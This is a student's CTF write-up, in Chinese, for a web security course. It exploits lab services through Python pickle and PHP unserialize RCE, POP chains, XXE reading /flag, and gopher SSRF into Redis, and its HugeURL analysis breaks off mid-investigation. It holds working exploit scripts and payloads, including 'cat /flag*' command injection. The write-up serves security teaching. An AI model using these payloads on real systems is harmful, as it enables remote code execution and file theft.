---
tags: CS 2022 Fall, 程式安全
author: Ching367436
---
# [0x0c] web III
課程簡報: https://docs.google.com/presentation/d/e/2PACX-1vSCjOWpJhPrt688deAmGbe1SlyttFN7D56KgRNLd4Dz8EKfcdJJ8MRuTlEyMwlu_QljHcI8m21njSn6/pub?slide=id.g1afc8f4e994_0_0
https://drive.google.com/file/d/1UkppxGBas585M1_rJ31EGtICtQUQ3sDN/view?usp=share_link
lecture: twitch 把他刪掉了QQ
http://h4ck3r.quest/challenges
### [LAB] Pickle
#### 題目
```python=
from flask import Flask, request, make_response, redirect, send_file
import base64
import pickle
app = Flask(__name__)
@app.route("/sauce")
def sauce():
return send_file(__file__, mimetype="text/plain")
@app.route("/")
def main():
session = request.cookies.get("session")
if session == None:
return '<form action="/login" method="POST">' +\
'<p>Name: <input name="name" type="text"></p>' +\
'<p>Age: <input name="age" type="number"></p>' +\
'<button>Submit</button></form><hr><a href="/sauce">Source code</a>'
else:
user = pickle.loads(base64.b64decode(session))
return f'<p>Name: {user["name"]}</p><p>Age: {user["age"]}</p>'
@app.route("/login", methods=['POST'])
def login():
user = base64.b64encode(pickle.dumps({
"name": request.form.get('name'),
"age": int(request.form.get('age'))
}))
resp = make_response(redirect('/'))
resp.set_cookie("session", user)
return resp
```
題目的 `:23` 有 `pickle.loads`
然而裡面放的參數使用者可控
所以只要把想要執行的 `code` 放入 `pickle.loads` 的時候會自動執行的 `__reduce__`
就可以 `RCE`
##### `Exploitation`
下方 `:10` 把 `(subprocess.check_output, (('ls',)))`
放到了 `__reduce__` 的回傳裡面
那只要 `pickle.loads` 的時候的東西裡面放他
就會執行 `subprocess.check_output('ls')`
這邊我的作法是把 我們的 `exp` 放進 `{"name": exp(), "age":2}` 這樣我們放的 `ls` 的輸出結果就會自動放到 `name` 裡面
而 `name` 會被網頁顯示出來
所以就可以取得 `ls` 的結果
`flag` 就在裡面
###### `Pickle/peko.py`
```python=
import pickle
import base64
import subprocess
import requests
URL = 'http://h4ck3r.quest:8600/'
class exp:
def __reduce__(self):
return (subprocess.check_output, (('ls',)))
pkl = pickle.dumps({"name": exp(), "age":2})
pkl_b64 = base64.b64encode(pkl).decode()
r = requests.get(URL, cookies={"session": pkl_b64})
print(r.text)
'''output
<p>Name: b'FLAG{p1ckle_r1ck}\n__pycache__\nexploit.py\nmain.py\nuwsgi.ini\n'</p><p>Age: 2</p>
'''
```
### [LAB] Baby Cat
#### 題目
```php=
<?php
isset($_GET['source']) && die(!show_source(__FILE__));
class Cat
{
public $name = '(guest cat)';
function __construct($name)
{
$this->name = $name;
}
function __wakeup()
{
echo "<pre>";
system("cowsay 'Welcome back, $this->name'");
echo "</pre>";
}
}
if (!isset($_COOKIE['cat_session'])) {
$cat = new Cat("cat_" . rand(0, 0xffff));
setcookie('cat_session', base64_encode(serialize($cat)));
} else {
$cat = unserialize(base64_decode($_COOKIE['cat_session']));
}
?>
<p>Hello, <?= $cat->name ?>.</p>
<a href="/?source">source code</a>
```
看到 `:23` 有一個 `unserialize` 而且使用者可控裡面的資料
所以來觀察一下有沒有 `unserialize` 的洞
看到 `class Cat` 的 `__wakeup`
那是 `unserialize` 的時候會執行的函式
裡面剛好有 `:14` 的 `Command Injection`
他的 `$this->name` 使用者可控
所以只要提供 `$this->name` 是 `command injection` 的 `paylaod` 就可以 `RCE`
##### `exploitation`
下方的 `script` 的 `:16`
我製造了一個 `this->name` 叫做 `h4ck3r';cat /flag* ;echo '` 的 `Cat`
把這個送到 `server` `unserialize` 的時候
會執行 `__wakeup`
因為我們 `this->name` 叫做 `h4ck3r';cat /flag* ;echo '`
所以裡面相當於於執行了 `system("cowsay 'Welcome back, h4ck3r';cat /flag* ;echo ''");`
所以 `flag` 就會被印出來
就拿到 `flag` 了
###### `Baby Cat/babycat.php`
```php=
<?php
class Cat
{
public $name = '';
function __construct($name)
{
$this->name = $name;
}
function __wakeup()
{
echo "<pre>";
system("cowsay 'Welcome back, $this->name'");
echo "</pre>";
}
}
$payload = serialize(new Cat("h4ck3r';cat /flag* ;echo '"));
$payload = base64_encode($payload);
echo $payload;
system("curl 'http://h4ck3r.quest:8601/' --cookie 'cat_session=".$payload."'")
// <!-- http://h4ck3r.quest:8601/ -->
/* output:
php ./exp.php
TzozOiJDYXQiOjE6e3M6NDoibmFtZSI7czoyNjoiaDRjazNyJztjYXQgL2ZsYWcqIDtlY2hvICciO30= % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 309 100 309 0 0 2542 0 --:--:-- --:--:-- --:--:-- 2618
<pre> ______________________
< Welcome back, h4ck3r >
----------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
FLAG{d3serializable_c4t}
</pre><p>Hello, h4ck3r';cat /flag* ;echo '.</p>
<a href="/?source">source code</a>
*/
?>
```
### [LAB] Magic Cat
#### 題目
```php=
<?php
isset($_GET['source']) && die(!show_source(__FILE__));
class Magic
{
function cast($spell)
{
echo "<script>alert('MAGIC, $spell!');</script>";
}
}
// Useless class?
class Caster
{
public $cast_func = 'intval';
function cast($val)
{
return ($this->cast_func)($val);
}
}
class Cat
{
public $magic;
public $spell;
function __construct($spell)
{
$this->magic = new Magic();
$this->spell = $spell;
}
function __wakeup()
{
echo "Cat Wakeup!\n";
$this->magic->cast($this->spell);
}
}
if (isset($_GET['spell'])) {
$cat = new Cat($_GET['spell']);
} else if (isset($_COOKIE['cat'])) {
echo "Unserialize...\n";
$cat = unserialize(base64_decode($_COOKIE['cat']));
} else {
$cat = new Cat("meow-meow-magic");
}
?>
<pre>
This is your 🐱:
<?php var_dump($cat) ?>
</pre>
<p>Usage:</p>
<p>/?source</p>
<p>/?spell=the-spell-of-your-cat</p>
```
`:43` 一樣有使用者可控的 `unserialize`
直接來看 `:32` `__wakeup`
裡面有 `$this->magic->cast($this->spell);`
所以來看看有哪邊有 `class` 裡面有 `cast` 函式的
然後把 `$this->magic` 設成那個 `class` 就會執行到他的 `cast`
看到 `Caster` 的 `cast` 裡面很危險
`$this->cast_func` 我們可以控制成 `system`
這樣執行 `__wakeup` `$this->magic->cast($this->spell);` 的時候就會等同於執行 `system($this->spell)`
而 `$this->spell` 我們也可以控制
那就設成 `cat /flag*` 就可以拿到 `flag` 了
###### `Magic Cat/magiccat.php`
```php=
<?php
class Magic
{
function cast($spell)
{
echo "<script>alert('MAGIC, $spell!');</script>";
}
}
// Useless class?
class Caster
{
public $cast_func = 'system';
function cast($val)
{
return ($this->cast_func)($val);
}
}
class Cat
{
public $magic;
public $spell;
function __construct($spell)
{
$this->magic = new Caster();
$this->spell = $spell;
}
function __wakeup()
{
echo "Cat Wakeup!\n";
$this->magic->cast($this->spell);
}
}
$payload = serialize(new Cat("cat /flag*"));
$payload = base64_encode($payload);
system("curl 'http://h4ck3r.quest:8602/' --cookie 'cat=".$payload."'")
// <!-- http://h4ck3r.quest:8602/ -->
/*
ch@CHSMP ~/Downloads> php ./magiccat.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 298 100 298 0 0 2911 0 --:--:-- --:--:-- --:--:-- 3010
Unserialize...
Cat Wakeup!
FLAG{magic_cat_pwnpwn}<pre>
This is your 🐱:
object(Cat)#1 (2) {
["magic"]=>
object(Caster)#2 (1) {
["cast_func"]=>
string(6) "system"
}
["spell"]=>
string(10) "cat /flag*"
}
</pre>
<p>Usage:</p>
<p>/?source</p>
<p>/?spell=the-spell-of-your-cat</p>
*/
?>
```
### [LAB] XXE
#### 題目
```php=
XXE!
<?php
$xmlfile = urldecode(file_get_contents('php://input'));
if (!$xmlfile) die(show_source(__FILE__));
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
echo "You have logged in as user $user";
?>
```
題目 `:3` 會把使用者提供的 `xml` 讀進來
`:9` 會把 `xml` 的 `user` 讀進來
因此我們只需將 `xml` 的 `user` 設成 `file:///flag` 的內容
那回傳的網頁就會把他顯示成 `$user`
我們就看得到 `file:///flag` 的內容了
###### `XXE/xxe.xml`
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<stockCheck><user>&xxe;</user></stockCheck>
<!-- FLAG{xxxeeeeeee} -->
```
這是用 `Burpsuite` 送的

要用 `curl` 的話就用這個
```sh
curl --data-binary '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<stock><user>&xxe;</user></stock>' 'http://h4ck3r.quest:8604/'
```
### [LAB] Preview Card
#### `/`
題目一進來是一個 `Web Preview` 的服務
聽起來有 `SSRF` 的味道
題目看到有 `FLAG (localhost only)`
那就用它提供的服務來 `SSRF` `flag` 吧

#### `/preview.php?url=http://localhost/flag.php`

看來我們需要 `POST` 到 `flag.php` 才能拿到 `flag`
而且需要帶 `givemeflag=yes` 的參數
這種時候會想試試看不同的 `ssrf protocol`
#### `/preview.php?url=file:///var/www/html/flag.php`

真的可以
#### `/preview.php?url=file:///var/www/html/index.php`

原來是用 `curl`
他可以用 `gopher`
所以現在我們能構造出任意的 `TCP` 封包了
那就用 `gopher` 來 `POST` `/flag.php` 吧
#### `gopher POST SSRF`
我們要用的 `payload` 就是下面這個
他會 `POST` 到 `localhost:80/flag.php` 且帶上 `givemeflag=yes`
`gopher://localhost:80/_` 後面就是放我們的 `http` 的內容
就是有 `givemeflag=yes` 的 `POST` 的 `http` 請求
###### `gopher`
`
gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%200.0.0.0:12322%0D%0AContent-Length:%2014%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Agivemeflag=yes%0D%0A
`
###### `http`
```http
POST /flag.php HTTP/1.1
Host: 0.0.0.0:12322
Content-Length: 14
Content-Type: application/x-www-form-urlencoded
givemeflag=yes
```
附上可以直接到那個 `payload` 頁面的網址
http://h4ck3r.quest:8500/preview.php?url=gopher%3A%2F%2Flocalhost%3A80%2F_POST%2520%2Fflag.php%2520HTTP%2F1.1%250D%250AHost%3A%25200.0.0.0%3A12322%250D%250AContent-Length%3A%252014%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250A%250D%250Agivemeflag%3Dyes%250D%250A

### [HW] HugeURL
進來題目看到一個 `URL Lengthener`
來試著用用看


看到有 `Preview` 功能
感覺就有 `SSRF`
後面進入 `redirect` 的網址就會 `redirect` 到指定的地方
這網址也太長

如果把 `redirect` 的網址在放回來 `URL Lenthener` 一次
會發現網址不會變更長了
仍然可以正常 `redirect`


用了兩個網址後發現網址怎麼長的那麼像
題目有附 `source code`
就來看看
##### directory tree
```php
.
├── Dockerfile
├── docker-compose.yml
├── flag
│ ├── flag
│ └── readflag.c
├── php
│ ├── inc.php
│ ├── index.php
│ └── templates
│ ├── index.html.php
│ └── preview.html.php
└── redis.conf
4 directories, 9 files
```
先來看 `docker-compose.yml`
#### `docker-compose.yml`
```yaml=
version: '3.5'
services:
redis:
image: redis:alpine
restart: always
volumes:
- ./redis.conf:/usr/local/etc/redis/redis.conf:ro
command: redis-server /usr/local/etc/redis/redis.conf
web:
build: ./
volumes:
- ./php:/var/www/html/
ports:
- 10004:80/tcp
depends_on:
- redis
```
知道了他有用 `redis` 以及 `web` 這兩個 `services`
來看 `web` 的 `Dockerfile`
#### `Dockerfile`
```dockerfile=
FROM php:8-apache
RUN a2enmod rewrite
RUN pecl install redis && docker-php-ext-enable redis
RUN apt update && apt install -y git
COPY --from=composer/composer /usr/bin/composer /usr/bin/composer
RUN cd /var/www/ && composer require vlucas/bulletphp
COPY ./flag/readflag.c /readflag.c
COPY ./flag/flag /flag
RUN chmod 0400 /flag && chown root:root /flag
RUN chmod 0444 /readflag.c && gcc /readflag.c -o /readflag
RUN chown root:root /readflag && chmod 4555 /readflag
```
看到 `:8` 題目用了 `vlucas/bulletphp` 這個 `framework`
接著來看 `.htaccess`
#### `php/.htaccess`
```c=
RewriteEngine On
# Reroute any incoming requestst that is not an existing directory or file
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?u=$1 [L,QSA,B]
```
看到 `:7` 會把所有請求交給 `index.php?u=$1`
所以來看 `index.php`
#### `php/index.php`
```php=
<?php
require __DIR__ . '/../vendor/autoload.php';
require __DIR__ . '/inc.php';
$app = new Bullet\App(['template' => [
'path' => __DIR__ . '/templates/'
]]);
$app->path('/', function ($request) use ($app) {
return $app->template('index');
});
$app->path('/create', function ($request) use ($app) {
$app->post(function ($request) use ($app) {
if (!filter_var($request->url, FILTER_VALIDATE_URL)) {
die("Invalid URL");
}
$uuid = uuid();
redis()->set($uuid, new Page($request->url));
return $app->response()->redirect("/p/$uuid");
});
});
$app->path('/p', function ($request) use ($app) {
$app->param(
fn ($slug) => preg_match("#[a-z0-9_-]+#i", $slug) && $slug,
function ($request, $uuid) use ($app) {
if ($page = redis()->get($uuid)) {
return $app->template('preview', [
'page' => $page,
'preview' => "http://$_SERVER[HTTP_HOST]/p/$uuid",
'redirect' => "http://$_SERVER[HTTP_HOST]/r/$uuid"
]);
} else {
return false;
}
}
);
});
$app->path('/r', function ($request) use ($app) {
$app->param(
fn ($slug) => preg_match("#[a-z0-9_-]+#i", $slug) && $slug,
function ($request, $slug) use ($app) {
if ($page = redis()->get($slug)) {
return $app->response()->redirect($page->url);
} else {
return false;
}
}
);
});
$app->run(new Bullet\Request())->send();
```
前面已經從 `Dockerfile` 裡面知道有用 `vlucas/bulletphp` 這個 `framework` 了
語法可以從下面的官方文件找到
https://github.com/vlucas/bulletphp
來看看各個 `endpoint` 的 `source code` 吧
##### `/`
```php
$app->path('/', function ($request) use ($app) {
return $app->template('index');
});
```
首先 `:10` `$app->path('/'`
會把 `path` 為 `/` 的 `requests` 交給這裡處理
他做的事情就是傳回 `php/templates/index.html.php` 而已
那就是我們一進到網頁所看到的頁面
因為那是靜態的
所以沒什麼好看的
只需要知道他會 `POST` 到 `/create` 就好
`php/templates/index.html.php:15,18`
```html
<form action="/create" method="POST">
<input placeholder="URL" name="url">
<button>LENGTHEN!</button>
</form>
```
##### `/create`
```php
$app->path('/create', function ($request) use ($app) {
$app->post(function ($request) use ($app) {
if (!filter_var($request->url, FILTER_VALIDATE_URL)) {
die("Invalid URL");
}
$uuid = uuid();
redis()->set($uuid, new Page($request->url));
return $app->response()->redirect("/p/$uuid");
});
});
```
接著這裡會先判斷 `$request->url` 是不是合理的 `URL`
如果合理的話
會生成 `$uuid`
並且把 `redis` 的 `$uuid` 設成 `new Page($request->url)`
接著 `redirect` 使用者到 `/p/$uuid`
對應到了我們一開始看到的 `preview` 頁面
##### `/p/$uuid`
```php
$app->path('/p', function ($request) use ($app) {
$app->param(
fn ($slug) => preg_match("#[a-z0-9_-]+#i", $slug) && $slug,
function ($request, $uuid) use ($app) {
if ($page = redis()->get($uuid)) {
return $app->template('preview', [
'page' => $page,
'preview' => "http://$_SERVER[HTTP_HOST]/p/$uuid",
'redirect' => "http://$_SERVER[HTTP_HOST]/r/$uuid"
]);
} else {
return false;
}
}
);
});
```
這邊做的事情就是 從 `redis` 裡面取出 `$uuid` 的資料 `$page`
那個資料從上面看到是 `class Page`
然後把 `php/templates/preview.html.php` render 起來
來看看 `php/templates/preview.html.php`
##### `php/templates/preview.html.php`

看到 `:30` 決定追追看 `class Page` 到底是什麼
來到 `php/inc.php` (`php/index.php` 有 `require` 所以知道要找這裡)
##### `php/inc.php`
```php=
<?php
class Page
{
public $url;
private $title;
private $preview;
function __construct($url)
{
$this->url = $url;
$this->fetch();
}
public function fetch()
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $this->url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
if (preg_match("#<title>([\S\s]+)</title>#i", $response, $match)) {
$this->title = trim($match[1]);
} else {
$this->title = $this->url;
}
if (preg_match("#<body>([\S\s]+)</body>#i", $response, $match)) {
$this->preview = substr(strip_tags($match[1]), 0, 128) . "...";
} else {
$this->preview = $this->title;
}
}
public function previewCard()
{
return "
<div class=\"preview\">
<strong>$this->title</strong><br>
<small>$this->url</small><br>
$this->preview
</div>
";
}
}
function redis()
{
$redis = new Redis();
$redis->connect('redis', 6379);
$redis->setOption(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP);
return $redis;
}
function uuid()
{
return str_replace(["/", "+"], ["_", "-"], base64_encode(random_bytes(150)));
}
```
首先看到 `class Page` 的 `__construct` (`:8`)
`__construct`
```php
function __construct($url)
{
$this->url = $url;
$this->fetch();
}
```
他使用了 `fetch()`
來看 `fetch`
`fetch`
```php
public function fetch()
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $this->url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
if (preg_match("#<title>([\S\s]+)</title>#i", $response, $match)) {
$this->title = trim($match[1]);
} else {
$this->title = $this->url;
}
if (preg_match("#<body>([\S\s]+)</body>#i", $response, $match)) {
$this->preview = substr(strip_tags($match[1]), 0, 128) . "...";
} else {
$this->preview = $this->title;
}
}
```
他使用了 `curl` 來抓資料
這裡感覺有 `SSRF`
看看我們能不能控制 `$url`
追回有 `new Page` 的地方
也就是剛才的 `/create`

`:16` 看到了 `fileter_var`
來試試看
```php
php > var_dump(filter_var('google.com', FILTER_VALIDATE_URL));
bool(false)
php > var_dump(filter_var('https://google.com', FILTER_VALIDATE_URL));
string(18) "https://google.com"
php > var_dump(filter_var('gopher://google.com', FILTER_VALIDATE_URL));
string(19) "gopher://google.com"
```
是了之後發現可以用 `gopher`
太高興了吧
那表示我們可以 `ssrf redis` 來控制 `redis` 裡面的內容
看看會不會有 `ssrf redis` 然後接一個 `unserialize` 的洞之類的
回到 `php/inc.php:45` 的 `redis` 看看
`redis`
```php
function redis()
{
$redis = new Redis();
$redis->connect('redis', 6379);
$redis->setOption(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP);
return $redis;
}
```
看到 `return` 的前一行有
`$redis->setOption(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP);`
所以他會反序列化從 `redis` 裏出來的東西
然而我們能控制 `redis` 裏的東西
那就想辦法找一個 `POP Chain` 在利用 `ssrf` 來把 `chain` 放進 `redis`
接著在觸發 `redis` 取出資料然後 `unserialize`
就可以 `RCE` 了
那就來找 `POP Chain` 吧
#### 找 POP Chain
<!-- https://ctf.org.cn/2020/12/01/Some-Php-Pop-Chain-Analysis/#111-laravel-58-exp1 -->
先來看看 `$page` 被取出之後會被做什麼
<!--  -->
回到 `/p/$uuid` 這個 `endpoint`
`/p/$uuid`
```php
$app->path('/p', function ($request) use ($app) {
$app->param(
fn ($slug) => preg_match("#[a-z0-9_-]+#i", $slug) && $slug,
function ($request, $uuid) use ($app) {
if ($page = redis()->get($uuid)) {
return $app->template('preview', [
'page' => $page,
'preview' => "http://$_SERVER[HTTP_HOST]/p/$uuid",
'redirect' => "http://$_SERVER[HTTP_HOST]/r/$uuid"
]);
} else {
return false;
}
}
);
});
```
看到了 `return $app->template('preview'` 哪裏 `$page` 會被放進 `preview` 裡面
追進 `php/templates/preview.html.php`
###### `php/templates/preview.html.php`

看到 `$page` 總共出現兩次
有這兩個東西
```php
$page->url
$page->PreviewCard()
```
試著找找看有沒有 `PreviewCard` 的東西
```sh
root@0421dbbe30a8:/# grep -r /var/www -e 'previewCard'
/var/www/html/inc.php: public function previewCard()
/var/www/html/templates/preview.html.php: <?= $page->previewCard() ?>
```
看來沒有
根據 `splitline`
我們可以先來找 `magic method`

來試試看
```sh=
root@0421dbbe30a8:/# grep -r /var/www -e 'function __'
/var/www/html/inc.php: function __construct($url)
/var/www/vendor/pimple/pimple/src/Pimple/Psr11/Container.php: public function __construct(PimpleContainer $pimple)
/var/www/vendor/pimple/pimple/src/Pimple/Psr11/ServiceLocator.php: public function __construct(PimpleContainer $container, array $ids)
/var/www/vendor/pimple/pimple/src/Pimple/Exception/UnknownIdentifierException.php: public function __construct($id)
/var/www/vendor/pimple/pimple/src/Pimple/Exception/FrozenServiceException.php: public function __construct($id)
/var/www/vendor/pimple/pimple/src/Pimple/Exception/InvalidServiceIdentifierException.php: public function __construct($id)
/var/www/vendor/pimple/pimple/src/Pimple/ServiceIterator.php: public function __construct(Container $container, array $ids)
/var/www/vendor/pimple/pimple/src/Pimple/Tests/Fixtures/NonInvokable.php: public function __call($a, $b)
/var/www/vendor/pimple/pimple/src/Pimple/Tests/Fixtures/Invokable.php: public function __invoke($value = null)
/var/www/vendor/pimple/pimple/src/Pimple/Container.php: public function __construct(array $values = [])
/var/www/vendor/pimple/pimple/README.rst: public function __construct(ContainerInterface $services)
/var/www/vendor/pimple/pimple/README.rst: public function __construct($voters)
/var/www/vendor/composer/ClassLoader.php: public function __construct($vendorDir = null)
/var/www/vendor/vlucas/bulletphp/src/Bullet/Request.php: public function __construct($method = null, $url = null, array $params = array(), array $headers = array(), $rawBody = null)
/var/www/vendor/vlucas/bulletphp/src/Bullet/Request.php: public function __get($key)
/var/www/vendor/vlucas/bulletphp/src/Bullet/Request.php: public function __set($key, $value)
/var/www/vendor/vlucas/bulletphp/src/Bullet/Request.php: public function __isset($key)
/var/www/vendor/vlucas/bulletphp/src/Bullet/Response.php: public function __construct($content = null, $status = 200)
/var/www/vendor/vlucas/bulletphp/src/Bullet/Response.php: public function __toString()
/var/www/vendor/vlucas/bulletphp/src/Bullet/App.php: public function __construct(array $values = array())
/var/www/vendor/vlucas/bulletphp/src/Bullet/App.php: public function __call($method, $args)
/var/www/vendor/vlucas/bulletphp/src/Bullet/App.php: public function __sleep()
/var/www/vendor/vlucas/bulletphp/src/Bullet/Response/Chunked.php: public function __construct($items, $status = 200) {
/var/www/vendor/vlucas/bulletphp/src/Bullet/Response/Chunked.php: public function __toString()
/var/www/vendor/vlucas/bulletphp/src/Bullet/Response/Sse.php: public function __construct($events, $status = 200)
/var/www/vendor/vlucas/bulletphp/src/Bullet/Response/Sse.php: public function __toString()
/var/www/vendor/vlucas/bulletphp/src/Bullet/View/Template/Block.php: public function __construct($name, $defaultContent = null)
/var/www/vendor/vlucas/bulletphp/src/Bullet/View/Template.php: public function __construct($file, array $params = array())
/var/www/vendor/vlucas/bulletphp/src/Bullet/View/Template.php: public function __get($var)
/var/www/vendor/vlucas/bulletphp/src/Bullet/View/Template.php: public function __set($key, $value)
```
好多東西
先來看有 `__wakeup` 的
`__wakeup` 在被 `unserialize` 的時候就會被呼叫
然後這裡其實沒有人有 `__wakeup`
接著來看 `__call()`
> __call() is triggered when invoking inaccessible methods in an object context.
[name=https://www.php.net/manual/en/language.oop5.overloading.php#object.call]
`/var/www/vendor/vlucas/bulletphp/src/Bullet/App.php` 有所以來看看
###### `/var/www/vendor/vlucas/bulletphp/src/Bullet/App.php`

這裡看起來好危險
會呼叫 `$this->_callbacks['custom'][$method]`
所以只要做出一個這裡的 `class App`
把 `$this->_callbacks['custom'][$method]` 設成想被呼叫到的 `function_name`
那 `:839` 的地方就會在 `$app->function_name` 被呼叫到的時候執行 `$this->_callbacks['custom'][$method]`
舉個例子🌰
```php
$app = new App();
// $this->_callbacks['custom']['Ching367436'] = 'system';
$app->addMethod('Ching367436', 'system');
$app->Ching367436('ls');
```
上面那段程式碼的 `addMethod` 做的事情就是
`$this->_callbacks['custom'][$method] = $callback`
因為剛好有那個 `API` 所以就直接呼叫
上面這段程式碼在那種情況下最後會執行 `system('ls')`
所以我們要找到我們可以控制參數的 `class` 的函數呼叫
就可以 `RCE`
以現有的
```php
$page->url
$page->PreviewCard()
```
是不夠的
我們要再去找其他可以用的
##### 尋找控制參數的 class 的函數呼叫
這裡還有一個有 `__wakeup` 的 不過好像沒什麼用

繼續看有哪些 `magic method`
這次來找 `__destruct`
結果沒有
那來找 `__toString`
總共有三個地方有
###### `1`

看起來沒東西
`this->content` 裡面也沒什麼特別的
###### `2`

沒東西
###### `3`

沒東西
接著來找 `__get` `__set`
###### `1`


沒東西
###### `2`

沒東西
###### `3`



沒東西
來看看 `__invoke`
###### `6`

沒東西
然後接著我來到了 `ClassLoader.php`

看了一下看起來很危險
只是找不到觸發的方法
#### `phpinfo()`
到目前為止找不到其他有用的 `gadget` 來觸發可控參數的 `__call`
不過上面的 `$page->previewCard()` 雖然是一個無法控制參數的東西
但呼叫 `phpinfo()` 不需要任何參數
我們有辦法呼叫到他
就先來看看 `phpinfo()`
也許能得到什麼提示
##### Step1: 製造 `POP Chain` 並製作 `gopher ssrf redis` `paylaod`
現在我要做一個 `$obj`
滿足只要呼叫 `$obj->previewCard()` 就會執行 `phpinfo()`
使用的是 `Bullet/App` 這個 `class`
所以 `:3` 我先將 `namespace` 設成 `Bullet`
這樣後面序列化的時候會比較方便 不用再把 `App` 改成 `Bullet/App`
接著 `:5,28`
我把 `/var/www/vendor/vlucas/bulletphp/src/Bullet/App.php` 裡面的 `class App` 複製出來
然後因為我們只會用到 `protected $_callbacks` 跟 `public function addMethod`
所以把其他的刪掉
還有一點要注意的是 `protected $_callbacks` 要改成 `public $_callbacks`
不然序列化之後裡面會有 `null byte`
使用 `curl gopher ssrf` 的時候會出問題
接著 `:31,34` 把這個東西序列化起來
`:36,53` 把他做成 `ssrf` 要用的網址
`:37` `gopher ssrf redis` 的部分參考了這個的 `redis RESP format`
https://infosecwriteups.com/exploiting-redis-through-ssrf-attack-be625682461b
意思就是把我們序列化後的東西放進 redis 裡面 `Ching367436_1234` 那一格
所以之後只要從裡面取 `Ching367436_1234` 就會取到我做好的序列化後的東西
###### `popgen.php`
```php=
<?php
namespace Bullet;
class App
{
public $_callbacks = array(
'custom' => array()
);
/**
* Add a custom user method via closure or PHP callback
*
* @param string $method Method name to add
* @param callback $callback Callback or closure that will be executed when missing method call matching $method is made
* @throws InvalidArgumentException
*/
public function addMethod($method, $callback)
{
if (!is_callable($callback)) {
throw new \InvalidArgumentException("Second argument is expected to be a valid callback or closure.");
}
if (method_exists($this, $method)) {
throw new \InvalidArgumentException("Method '" . $method . "' already exists on " . __CLASS__);
}
$this->_callbacks['custom'][$method] = $callback;
}
}
$app = new App();
$app->addMethod('previewCard', 'phpinfo');
$s = serialize($app);
$protocol_host_port = "gopher://redis:6379/";
$path = "_*3
$3
set
$16
Ching367436_1234
$" . strlen($s) . "
$s
QUIT";
$path = str_replace("\n", "\r\n", $path);
$path = urlencode($path);
$path = str_replace('+', '%20', $path);
$url = $protocol_host_port . $path;
system("echo $url");
// output: gopher://redis:6379/_%2A3%0D%0A%243%0D%0Aset%0D%0A%2416%0D%0AChing367436_1234%0D%0A%2498%0D%0AO%3A10%3A%22Bullet%5CApp%22%3A1%3A%7Bs%3A10%3A%22_callbacks%22%3Ba%3A1%3A%7Bs%3A6%3A%22custom%22%3Ba%3A1%3A%7Bs%3A11%3A%22previewCard%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D%7D%0D%0AQUIT
```
##### Step2: 把 `paylaod` 送給伺服器
這樣伺服器就會把我們的 `payload` 放盡 `redis` 裡面


##### Step3: 觸發反序列化
接著前往 `/p/Ching367436_1234`
[上面](#puuid) 提到過這時候伺服器會把 `Ching367436_1234` 從 `redis` 取出
把 `$page` 設成他
接著就會執行
```php
$page->url
$page->PreviewCard()
```
`$page->PreviewCard()` 就會執行 `phpinfo()` 了


看到有 `hint` 這個 `environment variable`
上面寫著
```
For something like $func(), you can try to change $func variable to array type
```
試著呼叫看看一個 `array` 看看


看到這個才知到這叫做 `Array callback`
上網直接搜尋發現都是一些不相關的
直接來翻官網的 reference
來到了 `function` 的部分
https://www.php.net/manual/en/language.functions.php
點進 `variable-functions`
https://www.php.net/manual/en/functions.variable-functions.php
看到 `Example #4 Complex callables`

所以我們可以去找有用的 `class` 的 `method` 來利用
我們可以控制 `class` 所以只要找到沒有參數的可利用 `method` 來用就好了
所以接著來找 `public function .+\((.+=.+)?\)`
#### `public function .+\((.+=.+)?\)`
找的時候看到了一個有趣的函數 `run`
###### `$app->run()`
我的螢幕好長
看到 `:284` 有 `call_user_func`
感覺很可疑 而且這個 `run` 函數可以不用參數呼叫

下方這段 (`:277,287`) 是裡面比較關鍵的地方
先看看下面被放到 `call_user_func` 裡面的東西 (`:8`)
有 `$handler['condition']` `$response`
`$handler['condition']` 的部分從 `:6` 我們可以知道是可控的
至於 `$response` 我們要追進 `:1` 的 `$this->response($content)` 裡面
```php=
$response = $this->response($content);
// Perform last minute operations on our response
$this->filter('beforeResponseHandler', array($response));
// Apply user defined response handlers
foreach($this->_responseHandlers as $handler) {
//Applies any with a null condition or whose condition evaluates to true.
if(null === $handler['condition'] || call_user_func($handler['condition'], $response)) {
call_user_func($handler['handler'], $response);
}
}
// Trigger events based on HTTP request format and HTTP response code
$this->filter(array_filter(array($this->_request->format(), $response->status(), 'after')));
$this->_pop();
$this->_nestingLevel--;
return $response;
```
進入 `$this->response()` 看到 `:451,455` `:460`
追進 `$this->responseFactory($response)`

看到 `:483`
`$response` 會是 `\Bullet\Response`
來看看他是什麼東西
這邊因為我 `vscode` 有裝插件 `PHP Intelephense`
所以直接 `cmd+click` 就會自動把我帶到 `\Bullet\Response` 很方便

進來看了一下
覺得來看他的 `__toString`

追進 `:412` `$this->content()`

原來就是回傳 `$this->_content`
所以我們先回到 `$app->run()`

現在已經知道 `:277` 的 `$response` 可以把他當成 `$content` 這個字串了
可是 `$content` 又是什麼東西呢
往上找找

看到 `$content` 是 `$this->_runPath($this->_requestMethod, $path);`
